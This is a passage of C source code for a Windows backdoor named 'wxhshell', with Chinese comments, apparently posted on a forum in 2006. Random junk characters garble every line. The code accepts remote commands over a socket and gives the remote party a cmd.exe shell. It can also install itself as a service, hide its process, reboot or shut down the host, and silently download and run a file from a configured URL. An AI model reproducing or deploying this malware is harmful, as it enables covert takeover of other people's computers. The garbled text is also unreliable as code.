  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SFj:|S=v6j  
  } vz\^Aa #fv  
  else { E46+B2_~zk  
/o$C=fDF  
    switch(cmd[0]) { " [Z'n9C  
  p!b_tyJ  
  // 帮助 W8@o7svrh  
  case '?': { K!L0|W H%!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~8A !..Z  
    break; T@Q,1^?i  
  } Ct8}jg"  
  // 安装 *$+:Cbe-F  
  case 'i': { ><l|&&e-  
    if(Install()) ;J]Lzh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eku+&f@RB  
    else Vr|sRvz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); li4"|T&  
    break; 1@$n )r`  
    } AW6"1(D  
  // 卸载 L}*s_'_e^>  
  case 'r': { Cyn_UE  
    if(Uninstall()) @4ccZ&`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B1u.aa$  
    else x_X%| f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .%\lYk]  
    break; rV5QKz6'  
    } gwAZ2w  
  // 显示 wxhshell 所在路径 [M;B 9-2$  
  case 'p': { eG\|E3Cb9  
    char svExeFile[MAX_PATH]; r_p4pxs  
    strcpy(svExeFile,"\n\r"); UP+4xG  
      strcat(svExeFile,ExeFile); <kc9KE  
        send(wsh,svExeFile,strlen(svExeFile),0); 0q !  
    break; Ig.9:v`  
    } ;7 F'xz"  
  // 重启 3-%F)@n  
  case 'b': { 20NotCM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5N5Deb#V  
    if(Boot(REBOOT)) vz87]InI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zCuN 8  
    else { ,cF $_7M  
    closesocket(wsh); >3,t`Z:  
    ExitThread(0); 9 M<3m  
    } xGBp+j1H  
    break; vgyv~Px]AW  
    } A4|L;z/A[h  
  // 关机 H[;\[ 3  
  case 'd': { m })EYs1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @D3|Ak1  
    if(Boot(SHUTDOWN)) 0|L%)'F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o&PPW~D+h@  
    else { c]OK)i-{l  
    closesocket(wsh); KhWt9=9  
    ExitThread(0); sf(2~BMQI  
    } U6sPJc<  
    break; bS2)L4MQY  
    } $I$ B8  
  // 获取shell V`,tu `6  
  case 's': { 9Q.}jV  
    CmdShell(wsh); ww^!|VVa  
    closesocket(wsh); &>KZ4%&?  
    ExitThread(0); 0Xe?{!@a  
    break; :tTP3 t5  
  } aN,.pLe;  
  // 退出 ;q ;}2  
  case 'x': { K7jz*|2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j 56Dt_  
    CloseIt(wsh); ` yXJaTbo  
    break; J;mvD^`g  
    } j_#oP  
  // 离开 xBevf&tP  
  case 'q': { /z(;1$Ld6{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V39`J*fI  
    closesocket(wsh); D( YNa  
    WSACleanup(); >ow5aOlQ&  
    exit(1);  0+P[0  
    break; 4!,`|W1  
        } c c^I9g~  
  } U5f<4I  
  } ^~65M/  
S(Ej: H  
  // 提示信息 Rv^ \o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Lf-Gi  
} rT}k[  
  } @x4IxGlUs  
D?Y j5eOa  
  return; A]WR-0Z7  
} ;H%T5$:trP  
z~R:!O-  
// shell模块句柄 :Dn{  
int CmdShell(SOCKET sock) Pd^v-}[  
{ 0DIXd*oj&  
STARTUPINFO si; B?|url6h  
ZeroMemory(&si,sizeof(si)); ~ 6`Ha@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; to%n2^^K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y G{;kJ P  
PROCESS_INFORMATION ProcessInfo; 2dpTU=K4  
char cmdline[]="cmd"; 8`? vWJS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k NnI$(H"H  
  return 0; Dg_AoC  
} %Q2<bj]  
g5,Bj  
// 自身启动模式 DFUW^0N  
int StartFromService(void) qyl9#C(a  
{ /"LcW"2;N  
typedef struct d0"Xlle ld  
{ v? VNWK2  
  DWORD ExitStatus; '*XX|\.  
  DWORD PebBaseAddress; g,,'Pdd7Pn  
  DWORD AffinityMask; $RJpn]d j  
  DWORD BasePriority; qL 0{w7  
  ULONG UniqueProcessId; 0**.:K<i  
  ULONG InheritedFromUniqueProcessId; \A'tV/YAd  
}   PROCESS_BASIC_INFORMATION; D$OUy}[2`.  
8E:d!?<^&I  
PROCNTQSIP NtQueryInformationProcess; {YoK63b$  
O*%@(w6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ',g'Tl^E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <8_~60  
j1 Q"s(  
  HANDLE             hProcess; ^]A,Q%1q^  
  PROCESS_BASIC_INFORMATION pbi; $^XCI%DH  
{G^f/%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3 %'Y):  
  if(NULL == hInst ) return 0; &|8R4l C|  
)?zlhsu}1;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <Jwx|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >I^_kBa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1P17]j2C  
{;T7Kg.C  
  if (!NtQueryInformationProcess) return 0; ~$ FgiW  
6 $k"B/k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k9|8@3(h  
  if(!hProcess) return 0; y))) {X  
BWHH:cX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " F3M  m  
;I5u"MDHGI  
  CloseHandle(hProcess); F#S )))#  
W? ^ ?Kx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2U Q&n`A  
if(hProcess==NULL) return 0; i;GF/pi  
%Uz 5Ve  
HMODULE hMod; c'gV  
char procName[255]; Z<2j#rd  
unsigned long cbNeeded; 3{j&J-  
)^^Eh=Kbj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $afE= qC*  
E/6@>.T?'  
  CloseHandle(hProcess); q]qKU`m!Q`  
{|Pg]#Wi&  
if(strstr(procName,"services")) return 1; // 以服务启动 \F }s"#  
+ yF._Ie=  
  return 0; // 注册表启动 'q:t48&  
} ff3HR+%M  
0:SR29(p1  
// 主模块 3cH`>#c  
int StartWxhshell(LPSTR lpCmdLine) (Q/Kp*a  
{ $0OWPC1  
  SOCKET wsl; ER ^#J**  
BOOL val=TRUE; [|)Eyd[G  
  int port=0; X4bB  
  struct sockaddr_in door; 0M=U >g)  
M'"@l $[QM  
  if(wscfg.ws_autoins) Install(); JO^E x1c  
y_F{C 9KE  
port=atoi(lpCmdLine); {f9jK@%Gy  
NPFrn[M$  
if(port<=0) port=wscfg.ws_port; x2M'!VK>n1  
PI5a 'k0F  
  WSADATA data; Y4 <  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XC D&Im  
-hpJL\ng  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P`$"B0B)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); REe<k<>p~  
  door.sin_family = AF_INET; >Wbt_%dKy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l1utk8'-  
  door.sin_port = htons(port); :4(.S<fH)-  
uoIvFcb^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D_W,Jmet  
closesocket(wsl); o_K. +^$  
return 1; Z|h&Zd1z  
} =mq02C~y  
7P!Hryy  
  if(listen(wsl,2) == INVALID_SOCKET) { k^vsQ'TD  
closesocket(wsl);  @o g&l;  
return 1; JQp::,g  
} ,vnHEY&  
  Wxhshell(wsl); 4%]wd}'#Un  
  WSACleanup(); +frkC| .  
;Az9p h  
return 0; 0)?.rthk4S  
Y~j )B\^{  
} >\x   
<Kq4thR  
// 以NT服务方式启动 O$2'$44HX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b\dzB\,&  
{ etPb^&#$  
DWORD   status = 0; EzXGb  
  DWORD   specificError = 0xfffffff; )225ee>  
bi^Xdu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k!^Au8Up?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nVp*u9]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ')8c  
  serviceStatus.dwWin32ExitCode     = 0; i r-= @@  
  serviceStatus.dwServiceSpecificExitCode = 0; Rqk;!N  
  serviceStatus.dwCheckPoint       = 0; S S/9fT"[  
  serviceStatus.dwWaitHint       = 0; )Hp{8c  
6^Q Bol  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ks=l Nz9  
  if (hServiceStatusHandle==0) return; vuOixAkw  
SR4cR)Iz  
status = GetLastError(); "K7{y4  
  if (status!=NO_ERROR) 4]VoIUIuN  
{ mo$`a6[h<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |BO!q9633V  
    serviceStatus.dwCheckPoint       = 0; ~Lyy7 B9  
    serviceStatus.dwWaitHint       = 0; 905%5\Y  
    serviceStatus.dwWin32ExitCode     = status; NJVAvq2E.  
    serviceStatus.dwServiceSpecificExitCode = specificError; RwG@C|sG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^o*$OM7x  
    return; C_&-2Z  
  } ?(up!3S'x  
/]mfI&l+9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~ PO)>;  
  serviceStatus.dwCheckPoint       = 0; <Ag`pZ<s  
  serviceStatus.dwWaitHint       = 0; aWG7k#nE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ed(6%kd  
} 6zJ<27  
y" (-O%Pe  
// 处理NT服务事件,比如:启动、停止 >AbgJ*X.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @Yv.HhO9  
{ 7({"dW  
switch(fdwControl) ;{zgp  
{ O e-FI+7  
case SERVICE_CONTROL_STOP: 7B|ddi7Q>  
  serviceStatus.dwWin32ExitCode = 0; OMi_')J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s bxOnw P\  
  serviceStatus.dwCheckPoint   = 0; tML[~AZh  
  serviceStatus.dwWaitHint     = 0; #i8] f{  
  { K%+[2Hj2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q13bV  
  } Ic%c%U=i  
  return;  Stzv  
case SERVICE_CONTROL_PAUSE: :r{;'[38  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )&Bf%1>  
  break; N,iYUM?  
case SERVICE_CONTROL_CONTINUE: cVx#dDdA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pCE,l'Xa  
  break; &.> 2@  
case SERVICE_CONTROL_INTERROGATE: aSKLSl't`  
  break; s$V'|Pt  
}; ?"d25LyN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WSt&?+Y  
} x*Lm{c5+  
u~WE} VC  
// 标准应用程序主函数 Ik4FVL8~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hzT,0<nw  
{ 1Q&\y)@bT  
k u@sQn  
// 获取操作系统版本 doIcO,Q  
OsIsNt=GetOsVer(); oj|\NlR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O?6ph4'  
D*Cn!v$  
  // 从命令行安装 7Vn;LW  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'zEmg}  
!)Y T_ib  
  // 下载执行文件 O}Ipg[h  
if(wscfg.ws_downexe) { xnBU)#<]S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9`A}-YA !  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^#-i%V%  
} B4hT(;k  
b3>`%?A  
if(!OsIsNt) { i'[o,dbE  
// 如果时win9x,隐藏进程并且设置为注册表启动 0|RFsJ"  
HideProc(); [&tN(K9*  
StartWxhshell(lpCmdLine); !\)9fOLs  
} 9Y6Ear .W  
else XLog+F$`  
  if(StartFromService()) %^5|3l3y  
  // 以服务方式启动 ;;A8TcE '  
  StartServiceCtrlDispatcher(DispatchTable); 4iXB`@k  
else R\^n2gK  
  // 普通方式启动 u%o2BLx  
  StartWxhshell(lpCmdLine); 4RLuv?,)~  
TJ&Z/k3-  
return 0; }m`+E+T4  
}
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只看该作者 1 发表于: 2006-10-10
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